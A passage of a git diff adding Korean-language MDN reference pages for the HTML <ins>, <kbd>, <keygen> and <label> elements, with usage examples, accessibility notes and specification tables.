+ <dd>변경이 발생한 일시. 유효한 날짜 문자열이어야 하며, 시간을 지정할 경우 역시 유효해야 합니다. 유효하지 않은 값을 지정할 경우 일시를 지정하지 않은 것과 같습니다. 유효한 문자열의 종류는 <a href="/ko/docs/Web/HTML/Date_and_time_formats">HTML에서 사용하는 날짜와 시간 형식</a> 문서에서 확인할 수 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html">&lt;ins&gt;This text has been inserted&lt;/ins&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">접근성 고려사항</h2>
+
+<p>대부분의 스크린 리더는 기본값에서 <code>&lt;ins&gt;</code> 요소의 존재를 표현하지 않습니다. 그러나 CSS {{cssxref("content")}} 속성과 {{cssxref("::before")}}, {{cssxref("::after")}} 의사 요소를 사용하면 소리내어 읽도록 할 수 있습니다.</p>
+
+<pre class="brush: css">ins::before,
+ins::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+ins::before {
+  content: " [추가 부분 시작] ";
+}
+
+ins::after {
+  content: " [추가 부분 끝] ";
+}</pre>
+
+<p>스크린 리더 사용자 일부는 지나치게 자세한 안내를 유발할 수 있는 콘텐츠의 표현을 의도적으로 꺼놓습니다. 그러므로 이 방식을 남용해선 안되며, 콘텐츠의 이해에 삽입 여부가 꼭 필요할 때만 사용해야 합니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/">Short note on making your mark (more accessible) | The Paciello Group</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html">Tweaking Text Level Styles | Adrian Roselli</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-ins-element', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;ins&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ins")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>문서에서 삭제된 부분을 나타내는 {{HTMLElement("del")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/kbd/index.html b/files/ko/web/html/element/kbd/index.html
new file mode 100644
index 0000000000..55f724224e
--- /dev/null
+++ b/files/ko/web/html/element/kbd/index.html
@@ -0,0 +1,208 @@
+---
+title: '<kbd>: 키보드 입력 요소'
+slug: Web/HTML/Element/kbd
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/kbd
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;kbd&gt;</code> 요소</strong>는 키보드 입력, 음성 입력 등 임의의 장치를 사용한 사용자의 입력을 나타냅니다.</span> 관례에 따라 {{glossary("user agent", "사용자 에이전트")}}의 고정폭 글꼴로 표시하지만, HTML 표준은 그런 점을 강제하지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/kbd.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">콘텐츠 카테고리</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;kbd&gt;</code> 요소를 다른 요소와 조합해 더 상세한 상황을 표현할 수 있습니다.</p>
+
+<ul>
+ <li><code>&lt;kbd&gt;</code> 요소를 다른 <code>&lt;kbd&gt;</code> 요소 안에 배치해, 하나의 입력 안의 작은 부분이나, 실제 타이핑 키를 하나씩 나타낼 수 있습니다. 아래의 {{anch("입력 안의 키입력 나타내기")}} 예제를 참고하세요.</li>
+ <li><code>&lt;kbd&gt;</code> 요소를 {{htmlelement("samp")}} 요소 안에 배치하면 시스템이 에코로써 다시 출력한 사용자 입력을 나타낼 수 있습니다. 아래의 {{anch("재출력된 입력")}} 예제를 참고하세요.</li>
+ <li>반면, <code>&lt;samp&gt;</code> 요소를 <code>&lt;kbd&gt;</code> 요소 안에 배치하면 화면에 표시된 메뉴 이름, 메뉴 항목, 버튼 이름 등 시스템이 출력한 텍스트를 기반으로 한 입력을 나타낼 수 있습니다. 아래의 {{anch("화면에 표시된 입력 옵션 나타내기")}} 예제를 참고하세요.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>사용자 지정 CSS 파일을 정의해 <code>&lt;kbd&gt;</code> 요소의 브라우저 기본 글꼴을 바꿀 수 있지만, 사용자 설정이 더 우선할 수도 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;kbd&gt;help mycommand&lt;/kbd&gt; 명령어를 입력해 "mycommand" 명령에 대한 문서를 확인하세요.&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본_예제", 350, 80)}}</p>
+
+<h3 id="입력_안의_키입력_나타내기">입력 안의 키입력 나타내기</h3>
+
+<p>다수의 키입력으로 구성된 입력을 설명할 땐 여러 개의 <code>&lt;kbd&gt;</code> 요소를 중첩할 수 있습니다. 바깥 <code>&lt;kbd&gt;</code>는 전체 입력을, 각각의 키입력 또는 구성요소는 안쪽의 <code>&lt;kbd&gt;</code>로 나타냅니다.</p>
+
+<h4 id="스타일_없이">스타일 없이</h4>
+
+<p>우선 기본 HTML에서 어떻게 나타나나 확인해보겠습니다.</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;새로운 문서는 키보드 단축키
+&lt;kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/kbd&gt;으로 만들 수 있습니다.&lt;/p&gt;
+</pre>
+
+<p>단축키 조합 전체를 하나의 <code>&lt;kbd&gt;</code>로 감싼 후, 조합 구성요소를 나타내기 위해 각각의 키보드 키를 다른 <code>&lt;kbd&gt;</code>로 감싼 모습입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 꼭 이렇게 중첩할 필요는 없습니다. 바깥 <code>&lt;kbd&gt;</code>를 생략하고, <code>&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;</code>로 작성하더라도 완벽하게 유효한 표기법입니다.</p>
+
+<p>다만 현재 사용 중인 스타일에 따라 중첩이 유용할 때도 있습니다.</p>
+</div>
+
+<h5 id="결과_2">결과</h5>
+
+<p>스타일 시트 없는 출력은 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("스타일_없이", 650, 80)}}</p>
+
+<h4 id="스타일_적용">스타일 적용</h4>
+
+<p>CSS를 좀 더해서 명확하게 바꿀 수 있습니다.</p>
+
+<h5 id="CSS">CSS</h5>
+
+<p>키보드 버튼을 렌더링 할 때 사용할 수 있는, <code>&lt;kbd&gt;</code> 요소의 <code>"key"</code> 스타일을 추가합니다.</p>
+
+<pre class="brush: css">kbd.key {
+  border-radius: 3px;
+  padding: 1px 2px 0;
+  border: 1px solid black;
+}
+</pre>
+
+<h5 id="HTML_2">HTML</h5>
+
+<p>HTML을 업데이트해 앞선 스타일을 적용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 문서는 키보드 단축키
+&lt;kbd&gt;&lt;kbd class="key"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="key"&gt;N&lt;/kbd&gt;&lt;/kbd&gt;으로 만들 수 있습니다.&lt;/p&gt;
+</pre>
+
+<h5 id="결과_3">결과</h5>
+
+<p>원하던 바로 그 결과입니다!</p>
+
+<p>{{EmbedLiveSample("스타일_적용", 650, 80)}}</p>
+
+<h3 id="재출력된_입력">재출력된 입력</h3>
+
+<p><code>&lt;kbd&gt;</code> 요소를 {{htmlelement("samp")}} 요소 안에 배치하면 시스템이 다시 출력한 입력을 나타낼 수 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;구문 오류가 발생하면, 오류 원인을 찾을 수 있도록
+입력받은 명령을 다시 출력합니다.&lt;/p&gt;
+&lt;blockquote&gt;
+  &lt;samp&gt;&lt;kbd&gt;custom-git ad my-new-file.cpp&lt;/kbd&gt;&lt;/samp&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("재출력된_입력", 650, 120)}}</p>
+
+<h3 id="화면에_표시된_입력_옵션_나타내기">화면에 표시된 입력 옵션 나타내기</h3>
+
+<p>{{htmlelement("samp")}} 요소를 <code>&lt;kbd&gt;</code> 요소 안에 배치하면 시스템이 화면에 표시하는 입력 선택지(메뉴, 버튼...)에 기반한 사용자 입력을 나타냅니다.</p>
+
+<p>예를 들면, "파일" 메뉴의 "새 문서" 옵션을 선택하는 방법에 대해 설명하는 HTML은 다음과 같은 형태를 가집니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 파일을 생성하려면, &lt;kbd&gt;
+&lt;kbd&gt;&lt;samp&gt;파일&lt;/samp&gt;&lt;/kbd&gt;⇒&lt;kbd&gt;&lt;samp&gt;새 문서&lt;/samp&gt;&lt;/kbd&gt;
+&lt;/kbd&gt; 메뉴를 선택하세요.
+
+&lt;p&gt;파일의 이름을 입력한 후, &lt;kbd&gt;&lt;samp&gt;확인&lt;/samp&gt;&lt;/kbd&gt;을
+누르는 걸 잊지 마세요.&lt;/p&gt;
+</pre>
+
+<p>흥미로운 중첩 사용법을 볼 수 있습니다. 메뉴 옵션 설명을 보면, 전체 입력 시퀀스가 하나의 <code>&lt;kbd&gt;</code> 요소에 들어간 것을 볼 수 있으며, 메뉴 이름("파일")과 메뉴 항목("새 문서") 둘 다 각자의 <code>&lt;kbd&gt;</code>와 <code>&lt;samp&gt;</code>로 표시한 것을 볼 수 있습니다. <code>&lt;kbd&gt;</code> 안에 <code>&lt;samp&gt;</code>가 존재하므로, "파일"과 "새 문서"는 화면 위의 위젯을 사용한 입력임을 알 수 있습니다.</p>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample("화면에_표시된_입력_옵션_나타내기", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Expanded to include any user input, like voice input and individual keystrokes.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;kbd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.kbd")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("code")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/keygen/index.html b/files/ko/web/html/element/keygen/index.html
new file mode 100644
index 0000000000..45910b8a24
--- /dev/null
+++ b/files/ko/web/html/element/keygen/index.html
@@ -0,0 +1,122 @@
+---
+title: <keygen>
+slug: Web/HTML/Element/keygen
+tags:
+  - Deprecated
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/keygen
+---
+<p>{{HTMLRef}}{{Obsolete_Header}}</p>
+
+<p>The HTML <code>&lt;keygen&gt;</code> element exists to facilitate generation of key material, and submission of the public key as part of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a>. This mechanism is designed for use with Web-based certificate management systems. It is expected that the <code>&lt;keygen&gt;</code> element will be used in an HTML form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, interactive content, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">listed</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">labelable</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_submittable">submittable</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">resettable</a> <a href="/en-US/docs/Web/HTML/Content_categories#Form-associated_content">form-associated element</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>Must have a start tag and must not have an end tag.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{DOMxRef("HTMLKeygenElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("autofocus")}}</dt>
+ <dd>This Boolean attribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the <code>autofocus</code> attribute, which is a Boolean.</dd>
+ <dt>{{HTMLAttrDef("challenge")}}</dt>
+ <dd>A challenge string that is submitted along with the public key. Defaults to an empty string if not specified.</dd>
+ <dt>{{HTMLAttrDef("disabled")}}</dt>
+ <dd>This Boolean attribute indicates that the form control is not available for interaction.</dd>
+ <dt>{{HTMLAttrDef("form")}}</dt>
+ <dd>The form element that this element is associated with (its <em>form owner</em>). The value of the attribute must be an <code>id</code> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code>&lt;keygen&gt; </code>elements anywhere within a document, not just as descendants of their form elements.</dd>
+ <dt>{{HTMLAttrDef("keytype")}}</dt>
+ <dd>The type of key generated. The default value is <code>RSA</code>.</dd>
+ <dt>{{HTMLAttrDef("name")}}</dt>
+ <dd>The name of the control, which is submitted with the form data.</dd>
+</dl>
+
+<p>The element is written as follows:</p>
+
+<pre class="brush: html">&lt;keygen name="<var>name</var>" challenge="<var>challenge string</var>" keytype="<var>type</var>"
+        keyparams="<var>pqg-params</var>"&gt;</pre>
+
+<p>The <code>keytype</code> parameter is used to specify what type of key is to be generated. Valid values are "<code>RSA</code>", which is the default, "<code>DSA</code>" and "<code>EC</code>". The <code>name</code> and <code>challenge</code> attributes are required in all cases. The <code>keytype</code> attribute is optional for RSA key generation and required for DSA and EC key generation. The <code>keyparams</code> attribute is required for DSA and EC key generation and ignored for RSA key generation. <code>PQG</code> is a synonym for <code>keyparams</code>. That is, you may specify <code>keyparams="pqg-params"</code> or <code>pqg="pqg-params"</code>.</p>
+
+<p>For RSA keys, the <code>keyparams</code> parameter is not used (ignored if present). The user may be given a choice of RSA key strengths. Currently, the user is given a choice between "high" strength (2048 bits) and "medium" strength (1024 bits).</p>
+
+<p>For DSA keys, the <code>keyparams</code> parameter specifies the DSA PQG parameters which are to be used in the keygen process. The value of the <code>pqg</code> parameter is the the BASE64 encoded, DER encoded Dss-Parms as specified in IETF <a class="link-ftp" href="ftp://ftp.rfc-editor.org/in-notes/rfc3279.txt">RFC 3279</a>. The user may be given a choice of DSA key sizes, allowing the user to choose one of the sizes defined in the DSA standard.</p>
+
+<p>For EC keys, the <code>keyparams</code> parameter specifies the name of the elliptic curve on which the key will be generated. It is normally a string from the table in <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177" title="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177">nsKeygenHandler.cpp</a>. (Note that only a subset of the curves named there may actually be supported in any particular browser.) If the <code>keyparams</code> parameter string is not a recognized curve name string, then a curve is chosen according to the user's chosen key strength (low, medium, high), using the curve named "<code>secp384r1</code>" for high, and the curve named "<code>secp256r1</code>" for medium keys. (Note: choice of the number of key strengths, default values for each strength, and the UI by which the user is offered a choice, are outside of the scope of this specification.)</p>
+
+<p>The <code>&lt;keygen&gt;</code> element is only valid within an HTML form. It will cause some sort of selection to be presented to the user for selecting key size. The UI for the selection may be a menu, radio buttons, or possibly something else. The browser presents several possible key strengths. Currently, two strengths are offered, high and medium. If the user's browser is configured to support cryptographic hardware (e.g. "smart cards") the user may also be given a choice of where to generate the key, i.e., in a smart card or in software and stored on disk.</p>
+
+<p>When the submit button is pressed, a key pair of the selected size is generated. The private key is encrypted and stored in the local key database.</p>
+
+<pre>PublicKeyAndChallenge ::= SEQUENCE {
+    spki SubjectPublicKeyInfo,
+    challenge IA5STRING
+}
+SignedPublicKeyAndChallenge ::= SEQUENCE {
+    publicKeyAndChallenge PublicKeyAndChallenge,
+    signatureAlgorithm AlgorithmIdentifier,
+    signature BIT STRING
+}</pre>
+
+<p>The public key and challenge string are DER encoded as <code>PublicKeyAndChallenge</code>, and then digitally signed with the private key to produce a <code>SignedPublicKeyAndChallenge</code>. The <code>SignedPublicKeyAndChallenge</code> is {{Glossary("Base64")}} encoded, and the ASCII data is finally submitted to the server as the value of a form name/value pair, where the name is <var>name</var> as specified by the <code>name</code> attribute of the <code>keygen</code> element. If no challenge string is provided, then it will be encoded as an <code>IA5STRING</code> of length zero.</p>
+
+<p>Here is an example form submission as it would be delivered to a CGI program by the HTTP server:</p>
+
+<pre>   commonname=John+Doe&amp;email=doe@foo.com&amp;org=Foobar+Computing+Corp.&amp;
+   orgunit=Bureau+of+Bureaucracy&amp;locality=Anytown&amp;state=California&amp;country=US&amp;
+   key=MIHFMHEwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAnX0TILJrOMUue%2BPtwBRE6XfV%0AWtKQbsshxk5ZhcUwcwyvcnIq9b82QhJdoACdD34rqfCAIND46fXKQUnb0mvKzQID%0AAQABFhFNb3ppbGxhSXNNeUZyaWVuZDANBgkqhkiG9w0BAQQFAANBAAKv2Eex2n%2FS%0Ar%2F7iJNroWlSzSMtTiQTEB%2BADWHGj9u1xrUrOilq%2Fo2cuQxIfZcNZkYAkWP4DubqW%0Ai0%2F%2FrgBvmco%3D</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "forms.html#the-keygen-element", 'the <code>&lt;keygen&gt;</code> element')}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.keygen")}}</p>
diff --git a/files/ko/web/html/element/label/index.html b/files/ko/web/html/element/label/index.html
new file mode 100644
index 0000000000..2d99a140c5
--- /dev/null
+++ b/files/ko/web/html/element/label/index.html
@@ -0,0 +1,189 @@
+---
+title: <label>
+slug: Web/HTML/Element/label
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/label
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;label&gt;</code> 요소</strong>는 사용자 인터페이스 항목의 설명을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/label.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p><code>&lt;label&gt;</code> 을 {{htmlelement("input")}} 요소와 연결하면 몇 가지 이점이 있습니다:</p>
+
+<ul>
+ <li>label 텍스트는 텍스트 입력과 시각적으로 관련이 있을뿐만 아니라 프로그래밍적으로도 관련이 있습니다. 예를 들어, 화면리더기(screenreader) 는 폼 입력(form input)에서 label 을 읽어서 보조기술(assistive technology) 사용자가 입력해야하는 텍스트가 무엇인지 더 쉽게 이해할 수 있게 합니다. </li>
+ <li>관련 label 을 클릭해서 input  자체에 초점을 맞추거나 활성화를 시킬 수 있습니다. (활성되어서)늘어난 누를 수 있는 영역(hit area)은 터치스크린 사용자를 포함해 입력하려하는 모든 사람에게 이점을 줍니다.</li>
+</ul>
+
+<p><code>&lt;label&gt;</code> 을 <code>&lt;input&gt;</code> 요소와 연관시키려면, <code>&lt;input&gt;</code> 에 <code>id</code> 속성을 넣어야합니다. 그런 다음 <code>&lt;label&gt;</code> 에 <code>id</code> 와 같은 값의  <code>for</code> 속성을 넣어야합니다. </p>
+
+<p>또는, <code>&lt;label&gt;</code> 안에 <code>&lt;input&gt;</code> 을 중첩시킬 수 있습니다. 이 경우 연관이 암시적이므로 <code>for</code> 및 <code>id</code>속성이 필요없습니다.</p>
+
+<pre class="brush: html">&lt;label&gt;Do you like peas?
+  &lt;input type="checkbox" name="peas"&gt;
+&lt;/label&gt;
+</pre>
+
+<p>다른 사용법 메모:</p>
+
+<ul>
+ <li>label 이 붙여진 양식 컨트롤(form control) 은 <em>레이블된 제어 labeled control</em>  라고 불립니다. 하나의 input 은 여러 label들에 연관되어있습니다.</li>
+ <li>연관된 양식 컨트롤(form control) 이 있는 <code>&lt;label&gt;</code> 이 클릭되거나 터치되면, 이 label의 <code>click</code> 이벤트는 연관된 control 도 동작시킵니다.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>같은 문서 내의 <code>&lt;label&gt;</code> 요소로서, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>한 form-related 요소의 {{htmlattrxref("id")}}. 레이블 가능한 요소일 때, <code>for</code> 속성값과 일치하는 <code>id</code>를 가진 문서의 첫 번째 요소는 그 label 요소의 <em>라벨 제어(labeled control)</em>라고 합니다. label을 지정할 수 없으면 <code>for</code> 속성은 영향을 미치지 않습니다. 문서의 뒷부분에 <code>id</code> 값과 일치하는 다른 요소들은 무시합니다.
+ <div class="note"> <code>&lt;label&gt;</code> 요소는 <code>for</code> 속성과 제어control 요소를 동시에 가질 수 있습니다. 이 때 <code>for</code> 속성은 포함되어있는 제어control 요소를 가리키고 있어야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>label과 연관된 {{htmlelement ( "form")}} 요소(<em>양식 소유자 form owner</em>). 이 속성이 지정된 경우, 이 속성 값은 동일한 문서의 {{HTMLElement ( "form")}} 요소의 id입니다. 따라서 label 요소를 양식 요소의 자손이 아닌 문서의 어느 곳에나 배치 할 수 있습니다.</dd>
+</dl>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;label&gt;</code> 요소에 대한 특별한 스타일 고려 사항은 없습니다. 구조적으로 단순한 인라인 요소이므로 {{htmlelement ( "span")}} 또는 {{htmlelement ( "a")}} 요소와 같은 방식으로 스타일을 지정할 수 있습니다 }}. 텍스트를 읽기 어렵게하지 않는 한 원하는 방식으로 스타일을 적용 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_label_예제">간단한 label 예제</h3>
+
+<pre class="brush: html">&lt;label&gt;Click me &lt;input type="text"&gt;&lt;/label&gt;</pre>
+
+<p>{{EmbedLiveSample('Simple_label_example', '200', '50', '')}}</p>
+
+<h3 id="for_속성_예제">"for" 속성 예제</h3>
+
+<pre class="brush: html">&lt;label for="username"&gt;Click me&lt;/label&gt;
+&lt;input type="text" id="username"&gt;</pre>
+
+<p>{{EmbedLiveSample('Using_the_for_attribute', '200', '50', '')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="인터랙티브_콘텐츠">인터랙티브 콘텐츠</h3>
+
+<p>Don't place interactive elements such as {{HTMLElement("a", "anchors")}} or {{HTMLElement("button", "buttons")}} inside a <code>label</code>. Doing so makes it difficult for people to activate the form input associated with the <code>label</code>.</p>
+
+<p><code>label</code> 안에 {{HTMLElement ( "a", "anchors")}} 또는 {{HTMLElement ( "button", "buttons")}}와 같은 인터랙티브 요소를 배치하지 마십시오. 그렇게하면 사람들이 <code>label</code>과 관련된 양식을 입력하기 어렵습니다.</p>
+
+<h4 id="하지_마세요">하지 마세요</h4>
+
+<pre class="brush: html example-bad">&lt;label for="tac"&gt;
+  &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+  I agree to the &lt;a href="terms-and-conditions.html"&gt;Terms and Conditions&lt;/a&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="이렇게_하세요">이렇게 하세요</h4>
+
+<pre class="brush: html example-good">&lt;label for="tac"&gt;
+  &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+  I agree to the Terms and Conditions
+&lt;/label&gt;
+&lt;p&gt;
+  &lt;a href="terms-and-conditions.html"&gt;Read our Terms and Conditions&lt;/a&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="제목">제목</h3>
+
+<p>제목은 일반적으로 <a href="/en-US/docs/Web/HTML/Element/Heading_Elements#Navigation">탐색 목적</a>의 보조 도구로 사용되므로 <code>&lt;label&gt;</code>  내에 <a href="/en-US/docs/Web/HTML/Element/Heading_Elements">제목 요소</a>를 배치하면 많은 종류의 보조 기술을 방해합니다. label의 텍스트를 시각적으로 조정해야하는 경우,  <code>&lt;label&gt;</code> 요소에 적용된 CSS 클래스를 사용하십시오.</p>
+
+<p><a href="/en-US/docs/Web/HTML/Element/form">양식(form)</a> 또는 양식의 섹션에 제목이 필요한 경우 {{HTMLElement ( "fieldset")}} 내에 배치 된 {{HTMLElement ( "legend")}} 요소를 사용하십시오.</p>
+
+<h4 id="하지_마세요_2">하지 마세요</h4>
+
+<pre class="brush: html example-bad">&lt;label for="your-name"&gt;
+  &lt;h3&gt;Your name&lt;/h3&gt;
+  &lt;input id="your-name" name="your-name" type="text"&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="이렇게_하세요_2">이렇게 하세요</h4>
+
+<pre class="brush: html example-good">&lt;label class="large-label" for="your-name"&gt;
+  Your name
+  &lt;input id="your-name" name="your-name" type="text"&gt;
+&lt;/label&gt; </pre>
+
+<h3 id="버튼">버튼</h3>
+
+<p><code>type="button"</code>선언과 유효한 <code>value</code> 속성을 가진 {{HTMLElement ( "input")}} 요소에는 연관된 레이블이 필요하지 않습니다. 그렇게하면 보조 기술이 버튼 입력을 구문 분석하는 방법을 실제로 방해 할 수 있습니다. {{HTMLElement ( "button")}} 요소에도 동일하게 적용됩니다.</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
